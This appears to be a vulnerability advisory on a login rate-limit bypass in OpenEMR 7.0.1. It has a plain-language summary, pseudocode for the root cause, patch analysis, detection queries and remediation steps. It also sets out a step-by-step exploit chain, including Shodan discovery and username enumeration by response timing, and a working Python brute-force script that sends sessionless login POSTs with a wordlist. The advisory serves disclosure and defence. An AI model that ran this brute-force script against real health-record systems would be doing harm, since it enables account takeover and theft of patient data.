OpenEMR 7.0.1 fails to enforce account lockout on its primary login endpoint, allowing unrestricted credential stuffing via POST to interface/main/main_screen.php.
OpenEMR is healthcare software used by thousands of clinics and hospitals to store patient information—everything from your medical history to your social security number. Security researchers just discovered a serious flaw in version 7.0.1 that lets hackers break in.
Think of it like a bank that forgot to install a lock on its vault door. When you try to log into OpenEMR, the system is supposed to block you after a few wrong password guesses—the digital equivalent of locking the door after too many failed attempts. This software doesn't do that.
Instead, attackers can write a simple script that automatically tries thousands of username and password combinations, one after another. The system never says "stop trying." It's like if someone could knock on your front door as many times as they wanted, guessing different keys, and nobody ever told them to go away.
If hackers break in this way, they can see everything: your diagnoses, medications, test results, insurance information, and more. That data is incredibly valuable on the black market.
Small and medium-sized medical practices are most at risk, especially those running older versions of OpenEMR without extra security layers in place.
What you can do: If your doctor uses OpenEMR, ask them directly whether they've updated to the latest version. If your healthcare provider stores sensitive data online, it's fair to ask what security protections they have—reputable places will be happy to explain. Finally, if you hear about a healthcare data breach later, sign up for free credit monitoring immediately, since stolen medical data often leads to identity theft.
Want the full technical analysis? Click "Technical" above.
OpenEMR 7.0.1, a widely-deployed open-source electronic health records platform used by clinics and hospitals globally, contains a broken authentication rate-limiting implementation that permits an unauthenticated attacker to submit an unbounded number of credential pairs against the primary login endpoint. No account lockout fires. No CAPTCHA escalation triggers. No IP-based throttle applies consistently. The attacker receives a binary success/failure signal on each attempt, enabling efficient offline-style online brute-force against live patient data systems.
The affected endpoint is /interface/main/main_screen.php (and the delegating handler at /interface/login/login.php), which accepts authUser and clearPass as POST parameters. This is CVSS 7.5 HIGH — unauthenticated network-exploitable, low complexity, no user interaction.
Root cause: OpenEMR's login handler processes authentication attempts through a PHP session-based counter that resets or fails to persist correctly across stateless POST requests, allowing an attacker to bypass rate limiting by omitting or rotating session cookies between attempts.
OpenEMR implements a failed-login counter stored in the users table (login_fail_counter column) and a corresponding session variable. The critical flaw is that the server-side lockout check reads from $_SESSION['loginfailure'] — a session-scoped variable — rather than the persistent database counter alone. An attacker who sends each POST request without a prior session cookie, or with a fresh session, receives a counter that initializes to zero on every unauthenticated request.
// Pseudocode reconstruction of login_operations.php::checkUserActivity()
// Derived from OpenEMR 7.0.1 source
int checkUserActivity(const char *username) {
int fail_count = session_get("loginfailure"); // reads PHP $_SESSION
// BUG: session is attacker-controlled; no session = counter = 0
// BUG: database counter checked AFTER session counter passes
if (fail_count < MAX_LOGIN_FAILURES) { // MAX_LOGIN_FAILURES = 20
return AUTH_PROCEED; // attacker always lands here
}
return AUTH_LOCKED;
}
int processLogin(const char *authUser, const char *clearPass) {
// BUG: rate limit check occurs before DB lookup, but relies on session
int status = checkUserActivity(authUser);
if (status == AUTH_LOCKED) {
redirectToLockout();
return;
}
// Proceeds to credential validation unconditionally for sessionless requests
int valid = verifyPasswordHash(authUser, clearPass); // bcrypt compare
if (!valid) {
int count = session_get("loginfailure") + 1;
session_set("loginfailure", count);
// BUG: DB counter update is conditional on same session persisting
if (count >= FAIL_THRESHOLD) {
db_update("UPDATE users SET login_fail_counter=login_fail_counter+1"
" WHERE username=?", authUser);
}
}
}
The session counter increment in processLogin() only propagates to the database when count >= FAIL_THRESHOLD. Because the attacker rotates or omits the session cookie, count never exceeds 1 in any single session. The database column login_fail_counter therefore never increments past zero for the attacker's attempts, and the lockout check against the DB is never triggered.
The PHP session initialization in login.php uses a standard session_start() without enforcing session pre-existence:
// login.php (simplified)
void handleLoginRequest() {
session_start(); // creates NEW session if no valid cookie sent
// BUG: new session means loginfailure = NULL, treated as 0
char *user = post_param("authUser");
char *pass = post_param("clearPass");
// sanitize inputs (present, correct)
user = sanitize_string(user);
pass = sanitize_string(pass);
// call authentication — rate limit already bypassed
authenticateUser(user, pass);
}
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies target OpenEMR instance (Shodan: http.title:"OpenEMR")
2. Enumerate valid usernames via timing differential on /interface/login/login.php
- Invalid user: returns immediately (no bcrypt)
- Valid user: ~300ms delay (bcrypt rounds)
3. For each credential pair (user, candidate_pass):
a. Open fresh TCP connection (or rotate proxy)
b. Send POST with NO Cookie header — forces new server-side session
c. Session loginfailure initializes to 0; rate limit check passes
d. Server performs bcrypt comparison, returns HTTP 302 (success) or 200 (fail)
e. Discard response, discard session token
4. No lockout triggers. No CAPTCHA. No IP ban (absent WAF).
5. On HTTP 302 redirect to main_screen.php: authentication confirmed.
6. Attacker now has full EHR access: PHI, prescriptions, patient records.
A minimal Python proof-of-concept demonstrating the bypass:
import requests
import itertools
import string
TARGET = "https://target.example.com"
ENDPOINT = f"{TARGET}/interface/main/main_screen.php"
USERNAME = "admin"
def attempt(user, password):
# Critical: no session=True, no cookie reuse — new session each request
r = requests.post(
ENDPOINT,
data={
"authUser": user,
"clearPass": password,
"languageChoice": "1",
},
allow_redirects=False,
timeout=10,
verify=False,
)
# Success: 302 redirect to interface/main/tabs/main.php
# Failure: 200 with login form re-rendered
return r.status_code == 302
def wordlist_attack(user, wordlist_path):
with open(wordlist_path, "r", encoding="utf-8", errors="ignore") as fh:
for line in fh:
pwd = line.strip()
if not pwd:
continue
if attempt(user, pwd):
print(f"[+] VALID: {user}:{pwd}")
return pwd
# No sleep required — no server-side throttle
return None
if __name__ == "__main__":
result = wordlist_attack(USERNAME, "rockyou.txt")
if not result:
print("[-] Exhausted wordlist.")
Note that requests.post() called directly (not via a Session() object) sends no cookies by default. Each POST is treated by the PHP runtime as a brand-new visitor. The per-session failure counter resets to zero. The database-level counter never increments because the per-session threshold is never reached within a single session lifetime.
Memory Layout
This is a logic vulnerability rather than a memory corruption bug. The relevant state is in PHP session storage and the MySQL users table:
SESSION STATE — LEGITIMATE USER (lockout works correctly):
Cookie: PHPSESSID=a1b2c3d4e5f6...
$_SESSION['loginfailure'] = 0 → 1 → 2 → ... → 20 → LOCKED
SESSION STATE — ATTACKER (bypass):
Request 1: No Cookie → new PHPSESSID=aaaa, loginfailure=0 → fail → loginfailure=1
Session discarded after response.
Request 2: No Cookie → new PHPSESSID=bbbb, loginfailure=0 → fail → loginfailure=1
Session discarded after response.
Request N: No Cookie → new PHPSESSID=xxxx, loginfailure=0 → ...
DB login_fail_counter for 'admin' = 0 ← never incremented
DATABASE STATE (users table):
+----------+-------------------+--------------------+
| username | login_fail_counter| last_login_fail |
+----------+-------------------+--------------------+
| admin | 0 | NULL | ← attacker sees this
+----------+-------------------+--------------------+
(legitimate failed logins would show counter incrementing)
EXPECTED STATE AFTER 10,000 ATTEMPTS (with bypass):
login_fail_counter = 0 (no lockout, no audit trail of brute force)
Patch Analysis
The correct fix moves the authoritative failure counter fully into the database, keyed on username and/or source IP, with no reliance on the attacker-supplied session. A secondary fix adds a time-window sliding window check (e.g., X failures in Y seconds from any session).
// BEFORE (vulnerable) — library/authentication/login_operations.php:
int checkLoginFailures(const char *username) {
// reads from PHP session — attacker resets by dropping session cookie
int fails = (int) session_get("loginfailure");
if (fails >= MAX_FAILURES) {
return LOCKED;
}
return OK;
}
void recordFailure(const char *username) {
int count = (int) session_get("loginfailure") + 1;
session_set("loginfailure", count);
// DB only updated when session threshold breached — never happens for attacker
if (count >= FAIL_THRESHOLD) {
db_exec("UPDATE users SET login_fail_counter = login_fail_counter + 1 "
"WHERE username = ?", username);
}
}
// AFTER (patched) — authoritative DB-side counter, no session dependency:
int checkLoginFailures(const char *username) {
// reads directly from persistent store — session-independent
int db_fails = db_query_int(
"SELECT login_fail_counter FROM users WHERE username = ?", username
);
time_t last_fail = db_query_time(
"SELECT last_login_fail_time FROM users WHERE username = ?", username
);
// sliding window: reset counter if last failure > lockout_window ago
if (time(NULL) - last_fail > LOCKOUT_WINDOW_SECONDS) {
db_exec("UPDATE users SET login_fail_counter=0 WHERE username=?", username);
return OK;
}
if (db_fails >= MAX_FAILURES) {
return LOCKED;
}
return OK;
}
void recordFailure(const char *username, const char *source_ip) {
// atomic increment in DB — no session involvement
db_exec("UPDATE users SET "
" login_fail_counter = login_fail_counter + 1, "
" last_login_fail_time = NOW(), "
" last_login_fail_ip = ? "
"WHERE username = ?",
source_ip, username);
}
Detection and Indicators
Because the attacker never reuses a session cookie, traditional session-based anomaly detection is blind. Detection requires analysis at the HTTP request and application-log layer:
Web server access logs: High-frequency POST /interface/main/main_screen.php with no corresponding GET (no session setup phase), returning HTTP 200 repeatedly followed by a single 302.
No Cookie header: Each attacker request lacks a PHPSESSID cookie or presents a unique, single-use session ID not seen in prior requests.
Response timing clustering: Valid-username attempts take ~300ms (bcrypt); invalid usernames return in <50ms. A mix of these timings across a wordlist run is a strong signal.
OpenEMR audit log (log table): Repeated login failure events for the same username from varied IPs with no incrementing login_fail_counter in the users table — the counter-IP mismatch is the definitive forensic artifact.
Relevant MySQL query to identify affected accounts post-incident:
# Query OpenEMR log table for brute-force indicators
import mysql.connector
conn = mysql.connector.connect(host="localhost", user="openemr",
password="REDACTED", database="openemr")
cursor = conn.cursor()
cursor.execute("""
SELECT user, COUNT(*) as fail_count, MIN(time) as first_seen,
MAX(time) as last_seen
FROM log
WHERE success = 0
AND event = 'login failure'
AND time >= NOW() - INTERVAL 24 HOUR
GROUP BY user
HAVING fail_count > 50
ORDER BY fail_count DESC;
""")
for row in cursor.fetchall():
print(f"[!] {row[0]}: {row[1]} failures ({row[2]} – {row[3]})")
Remediation
Immediate: Update to the patched release identified in the NVD advisory. Verify library/authentication/login_operations.php contains database-side counter logic.
WAF rule: Rate-limit POST /interface/main/main_screen.php to N requests per source IP per minute (recommended: 5/min). Note this does not fully mitigate distributed attacks.
Network segmentation: OpenEMR should never be internet-facing without a VPN or zero-trust gateway. Shodan currently indexes thousands of exposed instances.
MFA enforcement: Enable OpenEMR's built-in TOTP support (Administration > Globals > Security). Even with valid credentials, TOTP prevents account takeover.
Fail2ban: Deploy with a custom filter matching OpenEMR's log format to ban IPs after threshold failures at the network layer, independent of application logic.
Audit existing accounts: Query SELECT username, last_login_fail_time FROM users WHERE login_fail_counter = 0 AND last_login_fail_time IS NOT NULL to identify accounts that may have been successfully compromised without leaving a counter trail.